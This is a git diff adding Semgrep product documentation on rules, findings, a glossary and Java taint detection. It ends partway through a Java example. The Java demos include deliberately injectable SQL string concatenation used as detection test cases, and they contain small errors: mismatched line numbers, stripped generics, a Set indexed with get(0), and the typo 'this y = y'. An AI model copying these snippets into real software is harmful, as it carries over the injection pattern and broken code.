+In the [Semgrep Editor](https://semgrep.dev/orgs/-/editor), find the private rule to delete under the **Library** tab. Private rules are usually stored in the folder with the same name as your Semgrep AppSec Platform organization.
+
+
+Click the rule you want to delete, and then click the three vertical dots.
+
+
+Click **Delete**.
+
+
+
+Deleting a rule is permanent. If the rule was previously added to the **Policies** page, it is removed upon deletion.
+
+## Add a rule to the Policies page
+
+The **[Policies](/semgrep-code/policies/)** page displays rules that Semgrep Cloud Platform uses to scan your project's code. Rules added to the **Policies** page become part of every Semgrep scan you run.
+
+When adding a rule to your **Policies** page, you must also set the **rule mode** that determines what actions Semgrep performs when that rule generates a finding. See [Policies](/semgrep-code/policies/#block-a-pr-or-mr-through-rule-modes) for more information on each rule mode.
+
+To add a rule to the **Policies** page:
+
+
+
+Ensure you're [signed in to Semgrep](https://semgrep.dev/login).
+
+
+Click **Add to Policy**.
+
+
+Select one of the following rule mode options based on the relevance of the rule: **Monitor mode**, **Comment mode**, or **Block mode**.
+
+
+
+If successful, you'll see a pop-up window indicating that your rule has been added.
+
+## Organize private rules
+
+All private rules for an organization are saved to the organization's folder. To further organize rules, consider organizational naming conventions to facilitate searching for and identifying rules. Useful naming conventions might include internal team, rule language, or vulnerability category.
+
+## Semgrep Registry rules
+
+The [ Semgrep Registry](https://semgrep.dev/explore/) is a community-driven repository of rules. These rules can detect OWASP vulnerabilities, best practice violations, and security issues for various languages and frameworks. You can fork an existing rule to use as a starting point for writing your own.
+
+### Write a new rule by forking an existing rule
+
+One way to create new rules is to fork an existing rule in the Semgrep Registry and modify it to meet your software and business requirements.
+
+For example, Semgrep’s Java `crypto` ruleset prohibits the use of weak hashing algorithms `SHA-1` and `MD5`. However, your organization also prohibits the use of other hash functions as part of its standards or security compliance. The following steps illustrate the process of forking an existing `use-of-sha1` rule and changing it to forbid MD2 hashes.
+
+
+
+Use the search bar to find relevant rules. For this example, you can search for rules using `SHA1`.
+
+
+
+
+
+Under **java > lang > security > audit > crypto**, click **use-of-sha1** to load the rule. You cannot directly edit the rules in Semgrep Registry, so click **Fork** to make a copy.
+
+
+
+ Alternatively, you can right-click the rule's name and select **Fork rule**.
+
+
+Semgrep copies the rule to your organization's set of rules.
+
+
+Edit the rule.
+
+
+Update your test cases.
+
+
+Click **Run** to test and validate your rule.
+
+
+When you finish your changes, click **Save**.
+
+
+
+The following example shows how [the original rule, identifying uses of `SHA-1` and `MD5`, has been modified to find uses of MD2](https://docs.oracle.com/javase/9/specs/security/standard-names.html#messagedigest-algorithms) and the severity of such findings is increased from `WARNING` to `ERROR`.
+
+
+
+
+
+When you fork a rule, the copy is independent from the original. To run your new rule in your scans, [add it to a policy](/semgrep-code/policies#add-rules). If you want your copy to replace the rule you forked, add it to a policy, then disable the original on the Policies page.
+
+### Contribute to the Semgrep Registry
+
+
+**INFO**
+
+For general contributing guidelines, see [Contributing rules](/contributing/contributing-to-semgrep-rules-repository).
+
+
+To have your rule accepted faster, include the following:
+
+- Include **test cases** for both a true positive and a true negative. See [Tests](/contributing/contributing-to-semgrep-rules-repository/#tests) for more details.
+- Include a descriptive rule **message**. See [Rule messages](/contributing/contributing-to-semgrep-rules-repository/#rule-messages) for more information.
+- Include **metadata fields**. See [Semgrep registry rule requirements](/contributing/contributing-to-semgrep-rules-repository/#semgrep-registry-rule-requirements) for more information.
+
+To **create a PR** from the Semgrep Editor:
+
+
+
+Click **Share**.
+
+
+(Optional) Click **Publish to Registry**.
+
+
+Fill in the required and optional fields.
+
+
+Click **Continue**, and then click **Create PR**.
+
+
diff --git a/mintlify-docs/semgrep-code/finding-details.mdx b/mintlify-docs/semgrep-code/finding-details.mdx
new file mode 100644
index 0000000000..28de49a47b
--- /dev/null
+++ b/mintlify-docs/semgrep-code/finding-details.mdx
@@ -0,0 +1,116 @@
+---
+title: "View findings' details"
+---
+
+The finding's details page displays in-depth information about the finding, including:
+
+- A detailed description of the finding
+- Rule details, including the rule pattern itself, the vulnerability class, and identifiers such as the CWE ID
+- Finding details, such as when the finding was identified, the project and branch name, and commit ID where the issue was introduced
+- The code snippet where the issue was identified, along with a link to the source code where Semgrep identified the issue
+- Suggested fixes for the issue, either generated by Semgrep Multimodal or from the rule itself
+- Activity history for the finding, including when it was first identified, whether it has been analyzed by Semgrep Multimodal, whether there are any accompanying Jira tickets, notes written by other Semgrep users specifically about this finding, and more.
+
+## View a finding's details
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**.
+
+
+Identify the finding whose details you want to view:
+- If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
+- If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+
+
+### Semgrep Multimodal’s rule and analysis explanation
+
+When Semgrep Multimodal is enabled and classifies a finding as a true or false positive, an alert appears at the top of the finding’s details page. You can also view a detailed explanation that, if applicable, includes steps to exploitability in the **Finding description** tab.
+
+For true positives, the detailed explanation includes a summary and rationale for why the finding was flagged. It draws on the code that matched the rule pattern and the surrounding code to provide context for the rule message. For security-related rules, it also explains how the finding relates to the rule’s threat model.
+
+For false positives, the explanation contains only Multimodal’s reasoning, without additional code context. Some explanations refer to memories, which Multimodal uses to determine whether a finding is a false positive. However, memories are not used when generating the explanation itself.
+
+If Multimodal flags a finding as a false positive, you can provide feedback by selecting **Agree and Ignore** or **Disagree**.
+
+## Dataflow traces
+
+Dataflow traces allow you to visualize the path of tainted, or untrusted, data in findings. This path can help you track the sources and sinks of the tainted data as they propagate through the body of a function or a method. For general information about taint analysis, see [Taint tracking](/writing-rules/data-flow/taint-mode/overview).
+
+### View dataflow traces
+
+
+**PREREQUISITE**
+
+Not all Semgrep rules or rulesets make use of dataflow traces, or taint tracking. Ensure that you have a ruleset, such as the **default ruleset** added in your **[Policies page](https://semgrep.dev/orgs/-/policies)**. If this ruleset is not added, go to [https://semgrep.dev/p/default](https://semgrep.dev/p/default), and then click **Add to Policy**. You can add rules that use taint tracking from [Semgrep Registry](https://semgrep.dev/explore).
+
+
+
+To view the detailed path of tainted data with dataflow traces:
+
+
+
+Log in to Semgrep AppSec Platform, and click **[Code](https://semgrep.dev/orgs/-/findings)** in the **Navigation Bar** to view your findings.
+
+
+Select the finding you're interested in, then do one of the following actions:
+- If the default **Group by Rule** is enabled, click **View details** icon on the card of the finding.
+- If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding. In the example screenshot below, the link is titled **tainted-sql-string**.
+
+
+In the section titled **Your code**, you can see the source, traces, and sink of the tainted data. Clicking on a specific line in the trace will highlight it in the context of the file, while clicking on the file name at the top of the right pane will take you directly to that file in your source code manager, such as GitHub or GitLab.
+
+
+
+## Available actions on the finding details' page
+
+Click on the **kebab** icon to see the menu that includes the following options:
+
+- **Mark as reviewing** to change its status to **Reviewing** and flag the finding as one that is under further manual review
+- **Copy file path** of the source code where Semgrep identified the issue
+- **Copy link** to the finding's details page
+
+### Scan with Multimodal
+
+If the finding hasn't been analyzed by Multimodal, click the **Analyze** button to begin analysis. Multimodal can:
+
+- Recommend whether the finding should be fixed or ignored
+- Provide remediation guidance and generate a recommended code fix, if appropriate
+- Tag the finding with a component tag, such as `auth` or `payments`.
+
+### Ignore the finding
+
+Click **Ignore...** to ignore the finding. Provide an **Ignore reason**, and add **Comments** on why you think that this finding should be ignored.
+
+If the file for the finding in question is a test file or something similar, you can choose the **Ignore files in future scans...** option, then select the file. Semgrep ignores the file in subsequent scans.
+
+Click **Ignore** to proceed.
+
+### Fix the finding
+
+Click **Fix** see the menu that includes the following options:
+
+- View the associated Jira ticket, if available
+- Open a PR that fixes the issue, if possible
+- Change the status of the issue as **To fix**, indicating that you plan to return to the finding in the future
+
+Semgrep automatically marks findings as fixed when they're no longer detected in subsequent scans.
+
+### Add notes to findings
+
+To **add notes** to the activity history of a finding:
+
+
+
+Select a finding where you want to view details or add notes, and then do one of the following actions:
+- If the default **Group by Rule** is enabled, click **Details** icon on the card of the finding.
+- If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+
+Go to the **Activity** section, then click **New note**.
+
+
diff --git a/mintlify-docs/semgrep-code/findings.mdx b/mintlify-docs/semgrep-code/findings.mdx
new file mode 100644
index 0000000000..6b537d1776
--- /dev/null
+++ b/mintlify-docs/semgrep-code/findings.mdx
@@ -0,0 +1,239 @@
+---
+title: "View findings in Semgrep AppSec Platform"
+sidebarTitle: "View findings"
+---
+
+Semgrep Code generates a **finding** when a rule matches a piece of code in your codebase. You can use Semgrep AppSec Platform's [**Code** page](https://semgrep.dev/orgs/-/findings) to view all of the findings generated by Semgrep Code after it scans your codebase.
+
+## View findings
+
+To view your findings in Semgrep AppSec Platform:
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**.
+
+
+
+By default, Semgrep displays your **Priority** findings. Priority findings are defined as findings that:
+
+- Are categorized as **Security** findings. You can identify findings categorized under **Security** using the badge.
+- Are flagged with a severity level of **critical** or **high**
+- Are flagged with a confidence level of **high**
+- Are flagged by Semgrep Multimodal as likely being a **true positive** or has *not* been analyzed by Multimodal yet
+
+You can switch to the **All** tab at any point to view all findings identified by Semgrep Code. Both the **Priority** findings view and the **All** findings view display high-level information about your findings.
+
+
+**LOCAL SCANS**
+
+Findings from local scans are differentiated from their remote counterparts through their slugs. Remote repositories are identified as ACCOUNT_NAME/REPOSITORY_NAME, while local repositories are identified as local_scan/REPOSITORY_NAME.
+
+
+### Custom Priority tab
+
+Semgrep admins can create a custom priority definition to change the findings shown on the **Priority** tab. To do so:
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**. Ensure that you're viewing the **Priority**.
+
+
+Using the provided filters, set your parameters for priority findings.
+
+
+Click **Save**.
+
+
+You'll see a dialog window asking you to confirm that you want the changes saved for everyone. Click **Save** to proceed.
+
+
+
+This change applies to the entire Semgrep organization. You cannot have separate priority definitions for individual users or teams.
+
+## Filter findings
+
+Regardless of whether you use the **Priority** findings view or the **All** findings view, there are multiple grouping and filtering options available to you.
+
+### Time period
+
+The time period filters allow you to see which vulnerabilities were opened, fixed, or triaged during a certain period of time. The time period filter is **not** additive; it is a filter operation that precedes other filters on the page. For example, if you select **Last triaged** and select the status **Status Open** filter, no findings appear because, by definition, there are no triaged findings that are also open.
+
+The following filters are available:
+
+- Triage state update action:
+ - Opened in
+ - Triaged in
+ - Fixed in
+- Time period:
+ - Last day
+ - Last 7 days
+ - Last 30 days
+ - Last 3 months
+ - Last 6 months
+ - Last year
+ - All time
+
+### Project
+
+The **Project** filter allows you to search for findings associated with the selected projects.
+
+### Status
+
+The **Status** filter allows you to search for findings in the selected statuses. See [Triage status](/semgrep-code/triage-remediation#triage-statuses) for additional information.
+
+### Additional filters
+
+Semgrep offers additional filters that you can use to narrow down your results. The following filters are available:
+
+| Filter | Description |
+| :--- | :--- |
+| **Severity** | Filter by the severity of a finding. Severity is computed based on the values assigned for [Likelihood](/contributing/contributing-to-semgrep-rules-repository/#likelihood) and [Impact](/contributing/contributing-to-semgrep-rules-repository/#impact) by the rule's author. Possible values:
Low
Medium
High
Critical
|
+| **Category** | Filter by the type of security issue or vulnerability the rule detects, such as `security`, `correctness`, and `maintainability`. You can select more than one category at a time. See [Finding categories](#finding-categories) for information on how Semgrep categorizes your findings. |
+| **Confidence** | Filter by the likelihood of the rule to detect true positives. The higher the confidence, the more true positives the rule may detect. |
+| **Rule mode** | Filter by monitoring, commenting, or blocking rules in your Policies. |
+| **Rule** | Filter by rules included in your Policies page. You can select more than one rule or ruleset for filtering. |
+| **Ruleset** | Filter by the ruleset name where rules that match the code belong. More than one rule or ruleset can be selected for filtering. |
+| **Pro findings only** | Filter for findings identified using Semgrep Pro rules. Also includes findings originating from cross-file or cross-function analysis. |
+| **Code lifecycle** | Filter for findings based on whether they are **Production** findings or **Pre-production** findings. **Production** findings are those identified on primary branches, while **Pre-production** findings are those identified on pull request or merge requests. |
+| **Project** | Filter for findings based on the tags associated with the project. |
+| **Teams** | Filter for findings in projects owned by the selected teams. |
+| **Multimodal file risk level** | Filter for findings based on Multimodal's assessment of risk level of files based on the type of code identified. High-risk files contain sensitive information, such as authorization and authentication details, while low-risk files may be things like test files. You can further filter by file type, such as **payments** or **tests**. |
+| **Multimodal autotriage** | Filter by whether [Multimodal autotriage](/semgrep-multimodal/overview#auto-triage) has determined the finding to be a **True positive** or **False positive**. |
+
+#### Finding categories
+
+
+
+A finding can be categorized in two ways:
+
+1. **Finding categorization based on the issue or code it detects**:
+
+ - Anti-patterns
+ - Security vulnerabilities, such as dangerous function usage
+ - Business or logic bugs
+ - Matches based on your own custom rules, such as organization-specific authentication logic
+
+ Semgrep rules provide a metadata schema to identify these common categories. Semgrep findings include a `message` field that describes the security issue or bug found in matching code. Additionally, findings can provide a `fix` field that fixes the issue by creating a suggestion within your source code management (SCM) tool, such as GitHub, GitLab, and Bitbucket.
+
+2. **Finding categorization based on the validity of the match**:
+
+ - **True positive**: Rules are written to match a certain code pattern. A true positive is a genuine match. The rule is capturing the code as intended.
+ - **False positive**: A false positive is a mismatch between the intended purpose of the rule and the code it matched. A finding is generated but does not meet the rule's intended need. Rules with a high false positivity rate are said to be **noisy**.
+ - **False negative**: A false negative is a finding that should have been found by a rule, but was not. This can happen for two reasons:
+
+ 1. A flaw in the rule's logic. See Reporting false negatives.
+ 2. A bug within Semgrep itself. See the list of Semgrep issues to file a bug report.
+
+
+## Group and sort findings
+
+By default, Semgrep displays your findings using the **Group by Rule** view. This view shows your findings grouped by the rule Semgrep used to match the code. Your findings are shown sorted **by severity**, but you can opt to sort **by number of findings** for a given rule.
+
+For a given severity, Semgrep further sorts findings as follows:
+
+1. Findings generated by custom rules
+2. Findings generated by [Pro rules](/semgrep-code/pro-rules)
+3. Issue count in descending order
+4. Findings ID in ascending order
+
+To view findings individually, click **Group & sort > No grouping**. Findings are displayed based on the date they were found, with the most recent finding listed at the top.
+
+## Export findings
+
+You can export findings to a **CSV** file. Semgrep can export up to **10,000 most recent findings**. To export more than 10,000 findings, you must use the [ API](https://semgrep.dev/api/v1/).
+
+Semgrep exports all findings to the CSV file regardless of the filters you apply on the page.
+
+Export findings by navigating to the product page and clicking the ** icon** near the **Group & Sort** filters.
+
+
+
+| Field | Description |
+| :--- | :--- |
+| Id | The unique ID number of the finding. |
+| Rule name | The name of the rule. |
+| Product | The Semgrep product. Possible values are **Code**, **Code (AI)**, **Supply Chain**, or **Secrets**. |
+| Severity | The finding's severity. Possible values are **Critical**, **High**, **Medium**, or **Low**. |
+| Status | The finding's triage status. |
+| Confidence | Filter by the likelihood of the rule to detect true positives. The higher the confidence, the more true positives the rule may detect. |
+| Multimodal component | A descriptor, such as `API`, `Payments processing`, `Infrastructure`, that Multimodal tags the finding with, based on the code's context. |
+| Repository name | The name of the repository where Semgrep found the finding. |
+| Repository URL | The repository URL. |
+| Line of code URL | The URL to the specific line of code where the finding match began. A finding may be several lines long. |
+| Semgrep platform link | A link to the finding's **Details** page in Semgrep AppSec Platform. |
+| Created at | The time the finding was created in your timezone. |
+| Last Opened at | The time the finding was last opened. |
+| Branch | The name of the branch where the finding was detected. |
+| Triaged at | The most recent time that the finding was triaged. |
+| Triage comment | A triage comment created by the user. |
+| Triage reason | The reason why the finding was triaged, created by the user. |
+| Rule description | The description of the rule. This is the same as the rule's `message` key. |
+
+The following fields are exclusive to **Code** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Confidence | The finding's confidence. Possible values are **High**, **Medium**, or **Low**. Only Semgrep Supply Chain and Code findings provide this field. |
+| Category | The finding's category, such as **best practices**, **security**, or **correctness**. |
+| Is pro rule | Boolean value that returns `TRUE` if the rule that generated the finding is a pro rule. |
+| Assistant triage result | Provides Semgrep Multimodal's assessment. Possible values are `True positive` or `False positive`. These values appear only if Multimodal is enabled. |
+| Assistant triage reason | A short AI-generated reason why Multimodal thinks the finding is a true or false positive. These values appear only if Multimodal is enabled. |
+
+The following fields are exclusive to **Supply Chain** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Dependency | The name of the dependency where the findings was found. |
+| Reachability | The reachability status of the finding, such as **Reachable**, **No Reachability Analysis**, or **Unreachable**. |
+| Transitivity | States whether the finding originates from a direct or transitive dependency. |
+| CVE | The CVE number that the finding is assigned to. |
+| EPSS | The EPSS score, which estimates the likelihood that a software vulnerability can be exploited in the wild. |
+
+The following fields are exclusive to **Secrets** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Secret type | Possible values include **AI-detected**, **Generic secret**, **Connection URI**, and so on. |
+| Validation | States whether or not the secret was validated. |
+| Project visibility | States whether the project (repository) is public or private. This feature supports GitHub-hosted repositories only. It returns an **Unknown** value for non-GitHub SCMs. |
+
+
+## View details about a specific finding
+
+To view in-depth information about a specific finding, select the finding whose details you want to view. Then:
+
+- If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
+- If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+The finding's details page displays in-depth information about the finding. It also allows you to perform actions such as updating the finding's status as needed, viewing links to any integrations available, such as associated Jira tickets, and communicating with your team regarding the finding. For example, you can add notes to the finding that anyone with access to the finding can see. See [View findings' details](/semgrep-code/finding-details) for more information.
+
+## How Semgrep displays findings on multiple branches
+
+A **single** finding may appear in several branches. These appearances are called **instances** of a finding. Several instances of the same finding may differ in which line of code (LOC) they are on or in their triage state. For example, on `production` the finding may be on line 20, but the same finding was moved further to line 26 in `feature-branch-a`.
+
+Semgrep automatically recognizes that they are fundamentally the same finding and deduplicates these instances so that you do not get an inflated count of findings per ref that the finding is present in.
+
+By default, the Code page displays findings from the [primary branches](/deployment/primary-branch) of all repositories (projects), arranged by most recent scan. You are viewing the **primary branch's instance** of that finding, so you may see variations in LOC or triage state when comparing the finding across branches.
+
+When filtering by primary branch and triage status, the filters are applied based on the **triage status of the finding on the primary branch**. This means that on some feature branches, the instance may already be **Fixed**, but on the primary branch, the finding is still **Open**. The finding status on the primary branch is updated when the PR or MR is merged and Semgrep has scanned the code.
+
+
+**TIP**
+
+- If you do not see any findings, or there are zero findings after a scan has concluded, check the **Projects** page to view the findings count, if any, and to set a [primary branch](/deployment/primary-branch), if it is not already set.
+- The total count of findings in the **Projects** page is based on the **primary branch**.
+
+
+## Next steps
+
+- Learn more about [viewing a finding's details](/semgrep-code/finding-details).
+- Learn how to [triage and remediate Semgrep Code findings](/semgrep-code/triage-remediation).
+- Learn how to [get cross-file (interfile) findings for your organization](/semgrep-code/semgrep-pro-engine-intro)
+- See [Semgrep Multimodal for Semgrep Code](/semgrep-multimodal/overview) for information on receiving AI-powered security recommendations when reviewing your findings.
diff --git a/mintlify-docs/semgrep-code/glossary.mdx b/mintlify-docs/semgrep-code/glossary.mdx
new file mode 100644
index 0000000000..a8bbf8ff19
--- /dev/null
+++ b/mintlify-docs/semgrep-code/glossary.mdx
@@ -0,0 +1,57 @@
+---
+title: "Semgrep Code product terms"
+description: "The terms and definitions provided here are specific to Semgrep Code."
+sidebarTitle: "Code glossary"
+---
+
+For rule-writing and SAST (static application security testing) terms, see the [Rule-writing glossary](/writing-rules/glossary).
+
+## Default branch
+
+Also known as a **mainline**, **primary**, or **trunk** branch. In many cases, Semgrep automatically detects these branches as primary branches when it first scans your project. If you have projects (repositories) with unique primary branch names, you can set them through the Semgrep web app.
+
+## Diff-aware scan
+
+A diff-aware scan is a type of scan that shows only the findings that have been caused by changes in files starting from a specific Git baseline. It is typically performed on feature branches when a pull request or merge request is opened. Unlike full scans, diff-aware scans only consider changes within modified files. At this time, cross-file analysis is not supported for diff-aware scans.
+
+## Full scan
+
+A full scan scans the entire codebase or Git repository in its current state. It is typically performed on trunk or mainline branches, such as `main`. Semgrep, Inc. recommends performing full scans on a recurring basis, such as daily or weekly.
+
+## Policy
+
+A policy defines the set of rules that Semgrep runs and the workflow actions it undertakes when a rule from the policy generates a finding. The workflow action performed by Semgrep when it detects a finding can include notifying Slack channels or posting a comment in the pull request or merge request that generated the finding.
+
+Not to be confused with **policy-as-code**.
+
+## Registry (Semgrep Registry)
+
+A [collection of publicly available SAST rules](https://semgrep.dev/r) that you can download. Rules can be filtered by language, OWASP bug class, severity, and so on. [Contributions are welcome](/contributing/contributing-to-semgrep-rules-repository).
+
+Rules are frequently organized by [rulesets](#ruleset), enabling you to find related rules by framework and language.
+
+### Sources of rules
+
+The Registry contains rules imported from various repositories. These include rules authored by other individuals or groups, such as Trail of Bits and GitLab.
+
+You can view a rule's `license` key to ensure the license meets your needs.
+
+## Ruleset
+
+Rulesets are rules related through a programming language, OWASP category, or framework. Rulesets are curated by the team at Semgrep and updated as new rules are added to the Semgrep Registry.
+
+## Scan target
+
+A scan target is any file, or collection of files and directories that Semgrep can scan. While Semgrep can scan **any** text file through `generic` mode, Semgrep primarily scans the following:
+
+### Codebase
+
+Any code files within a specified directory and its subdirectories.
+
+### Project
+
+A repository or codebase that you have added to Semgrep Cloud Platform for scanning along with finding metadata and other Semgrep data and resources.
+
+### Repository
+
+A location, typically remote, for source code, including metadata relating to the source code. Semgrep supports Git repositories.
diff --git a/mintlify-docs/semgrep-code/java.mdx b/mintlify-docs/semgrep-code/java.mdx
new file mode 100644
index 0000000000..860a785df4
--- /dev/null
+++ b/mintlify-docs/semgrep-code/java.mdx
@@ -0,0 +1,317 @@
+---
+title: "Semantic detection in Java"
+description: "This document explains how Semgrep detects true positives and reduces false positives in Java."
+---
+
+Additionally, it provides several simple rule examples to illustrate the concepts and how you can make use of these Semgrep features when writing your own rules.
+
+
+**TIP**
+
+The code examples shown here are best viewed in **a separate Semgrep Playground tab** so that you can see the purple star outline. This star marks the lines that contain false positives and are correctly identified and removed by Semgrep.
+
+
+## Language features that prevent injection through Boolean and integer types
+
+Strong typing in Java, combined with its compile-time and runtime checks, reduces the likelihood that an integer or Boolean input will be exploited to perform injection-style attacks. Semgrep Pro can reduce false positives by leveraging these checks.
+
+Semgrep Community Edition (CE) matches based on patterns, which can result in false positives (FPs), but only proprietary Semgrep can detect Boolean and integer values and mark these as untainted, or safe, eliminating FPs.
+
+### Example: `int-bool-untainted`
+
+The following demo rule and code sample detects tainted data in `sink()`.
+
+```yaml expandable lines
+# Semgrep rule
+rules:
+ - id: int-bool-untainted
+ languages:
+ - java
+ severity: MEDIUM
+ options:
+ interfile: true
+ taint_assume_safe_booleans: true
+ taint_assume_safe_numbers: true
+ mode: taint
+ message: Test
+ pattern-sources:
+ - patterns:
+ - pattern-inside: |
+ class $C {
+ $T $M(..., $A, ...) {
+ ...
+ }
+ }
+ - focus-metavariable: $A
+ pattern-sinks:
+ - pattern: sink(...)
+```
+
+```java highlight={22,28} expandable lines
+class Foo {
+ String x;
+ List ids;
+
+ public List getIds() {
+ return ids;
+ }
+}
+
+class Bar {
+ String y;
+ Set flags;
+
+ public Set getFlags() {
+ return flags;
+ }
+}
+
+class Test {
+ public void test1(Foo foo) {
+ //ruleid: int-bool-untainted
+ sink(foo.x);
+ //OK: int-bool-untainted
+☆ sink(foo.getIds().get(0));
+ }
+ public void test2(Bar bar) {
+ //ruleid: int-bool-untainted
+ sink(bar.y);
+ //OK: int-bool-untainted
+☆ sink(bar.getFlags().get(0));
+ }
+}
+```
+
+**Figure**. `int-bool-untainted`. [Open in interactive Playground](https://semgrep.dev/playground/s/r6rKR).
+
+* This example has two true positives: **line 22** and **line 28**.
+* Semgrep Pro is able to detect that **line 24 and 30 are false positives**. Semgrep CE can't catch that distinction.
+ * Line 24 is a false positive because the data in the sink is an element of an integer list.
+ * Line 30 is a false positive because the data in the sink is an element in a set of Boolean values.
+* The Semgrep rule uses the fields `taint_assume_safe_booleans` and `taint_assume_safe_numbers` to tell the engine that these types are safe and not tainted.
+
+## Semgrep understands the Java standard library and APIs
+
+Java provides a wide array of standard classes and methods across its various libraries. These facilitate programming by offering ready-to-use methods for common tasks. Many of these take string inputs, and return integer or Boolean values. Thus, these statements returning integer or Boolean values are not considered tainted. Semgrep is able to make that distinction, preventing this type of false positive.
+
+### Example: `sqli-demo-bool_doesnt_taint`
+
+
+This demo rule detects SQL injection through a `UserInputGenerator` class. The class's unsanitized user input is passed to `SQLQueryRunner`.
+
+```yaml expandable lines
+# Semgrep rule
+rules:
+ - id: sqli-demo-bool_doesnt_taint
+ message: Found SQLi
+ languages:
+ - java
+ severity: MEDIUM
+ mode: taint
+ options:
+ taint_assume_safe_booleans: true
+ taint_assume_safe_numbers: true
+ interfile: true
+ pattern-sources:
+ - pattern: |
+ (UserInputGenerator $X).getUserInput(...)
+ pattern-sinks:
+ - pattern: |
+ (SQLQueryRunner $X).run(...)
+```
+
+```java highlight={11,20} expandable lines
+public class Test {
+ // Run with `javac Test.java && java Test`
+ public static void main(String[] args) {
+ SQLQueryRunner runner = new SQLQueryRunner();
+ String input = new UserInputGenerator().getUserInput();
+
+ // safe
+ runner.run("SELECT * from table");
+
+ //ruleid:sqli-demo-bool_dont_taint
+ runner.run("SELECT * from " + input);
+
+ //ok:sqli-demo-bool_dont_taint
+☆ runner.run("SELECT * from table" + input.endsWith("something"));
+
+ //ok:sqli-demo-bool_dont_taint
+☆ runner.run("SELECT * from table" + input.indexOf('u'));
+
+ //ruleid:sqli-demo-bool_dont_taint
+ runner.run("SELECT * from " + input.substring(0));
+ }
+}
+
+class UserInputGenerator {
+ public String getUserInput() {
+ return "fake user input";
+ }
+}
+
+class SQLQueryRunner {
+ public void run(String query) {
+ System.out.println("Would have run query:");
+ System.out.println(query);
+ }
+}
+```
+
+**Figure**. `sqli-demo-bool_doesnt_taint`. [Open in interactive Playground](https://semgrep.dev/playground/s/Kx1AY).
+
+* This example has two true positives: **line 11** and **line 20**.
+* Semgrep Pro is able to detect that **line 14 and 17 are false positives**. Semgrep CE can't catch that distinction.
+ * Lines 14 and 17 are false positives because `input.endsWith("something")` and `input.indexOf('u')` return a Boolean and integer respectively. Semgrep Pro is able to understand `endsWith` and `indexOf` Java methods.
+* The Semgrep rule uses the fields `taint_assume_safe_booleans` and `taint_assume_safe_numbers` to tell the engine that these types are safe and not tainted.
+
+## Semgrep targets code in a parent class and its subclasses
+
+Semgrep supports class inheritance in Java. You can use Semgrep to search across all subclasses. This specificity means that rules can better target your codebase, increasing true positive rates. This is achieved through the `metavariable-type` field, which can accept the name of any user-defined class.
+
+The `metavariable-type` field is available in Semgrep CE. However, classes in Java are frequently defined across files (interfile), which is beyond the scope of Semgrep CE's analysis. Use Semgrep Pro to perform cross-file analysis to ensure that Semgrep can detect all class and subclass definitions.
+
+### Example: `detect-pattern-in-subclass`
+
+
+```yaml showLineNumbers lines
+# Semgrep rule
+rules:
+ - id: detect-pattern-in-subclass
+ languages:
+ - java
+ message: Test
+ options:
+ interfile: true
+ patterns:
+ - pattern: $CLASS.x
+ - metavariable-type:
+ metavariable: $CLASS
+ type: Foo
+ severity: MEDIUM
+```
+
+```java highlight={11,26} expandable
+class Foo { String x; }
+
+class Bar extends Foo {}
+
+class Baz { String x; }
+
+class Test {
+ void test() {
+ Bar bar = new Bar();
+ //ruleid:detect-pattern-in-subclass
+ return bar.x;
+ }
+}
+
+class Test2 {
+ void test() {
+ Baz baz = new Baz();
+☆ return baz.x;
+ }
+}
+
+class Test3 {
+ void test() {
+ Foo foo = new Foo();
+ //ruleid:detect-pattern-in-subclass
+ return foo.x;
+ }
+}
+```
+
+**Figure**. `detect-pattern-in-subclass`. [ Open in interactive Playground](https://semgrep.dev/playground/s/nJjjG).
+
+This demo rule detects patterns in instances of the user-defined parent class `Foo` and its subclasses.
+
+- This example has two true positives: **line 10** and **line 24**.
+- The `patterns` array initially defines a `pattern: $CLASS.x`.
+ - **Line 17**, `baz.x` fulfills this pattern.
+ - However, the `metavariable-type` specifies a `type` of `Foo`.
+ - This specification narrows the match to **line 10** because `Bar` is a subclass of `Foo`, and **line 25**, which is an instance of the `Foo` object itself.
+
+## Semgrep supports field and index sensitivity
+
+Field sensitivity means that Semgrep can track taint for each field of an object independently. Given an object `C` with properties `C.x` and `C.y`, if `C.x` is tainted, then Semgrep does **not** automatically mark `C.y` as tainted.
+
+Similarly, index sensitivity means that Semgrep can track taint for each element of an array independently.
+
+### Example: `unsafe-sql-concatenation-in-method-taint-field-sensitivity`
+
+
+This demo rule detects that `C.x` is tainted by way of the `injection` variable. It is able to differentiate `C.y` as untainted.
+
+```yaml expandable lines
+# Semgrep rule
+rules:
+ - id: unsafe-sql-concatenation-in-method-taint-field-sensitivity
+ languages:
+ - java
+ severity: MEDIUM
+ metadata:
+ interfile: true
+ mode: taint
+ message: Test
+ options:
+ taint_assume_safe_booleans: true
+ taint_assume_safe_numbers: true
+ interfile: true
+ pattern-sources:
+ - patterns:
+ - pattern: |
+ $X(..., $SRC, ...) { ... }
+ - focus-metavariable: $SRC
+ pattern-sinks:
+ - patterns:
+ - pattern-either:
+ - pattern: com.netsuite.database.SqlLogger.execute(..., $SINK)
+ - pattern: com.netsuite.database.Util.execute(..., $SINK)
+ pattern-sanitizers:
+ - pattern: com.netsuite.database.Util.generateSubSqlForBinding(...)
+ - pattern: com.netsuite.database.Util.generateSubSql(...)
+```
+
+```Java highlight={24} expandable lines
+import com.netsuite.database.SqlLogger;
+import com.netsuite.database.Util;
+import com.netsuite.database.SqlBuilder;
+
+import java.sql.SQLException;
+
+class C {
+ String x;
+ String y;
+
+ C(String x, String y) {
+ this.x = x;
+ this y = y;
+ }
+}
+
+class Test {
+ private void LoggerTruePositives(String injection) {
+ String stm = "This should not be a String. It is just to simplify the testing process";
+
+ C c = new C(injection, "safe");
+
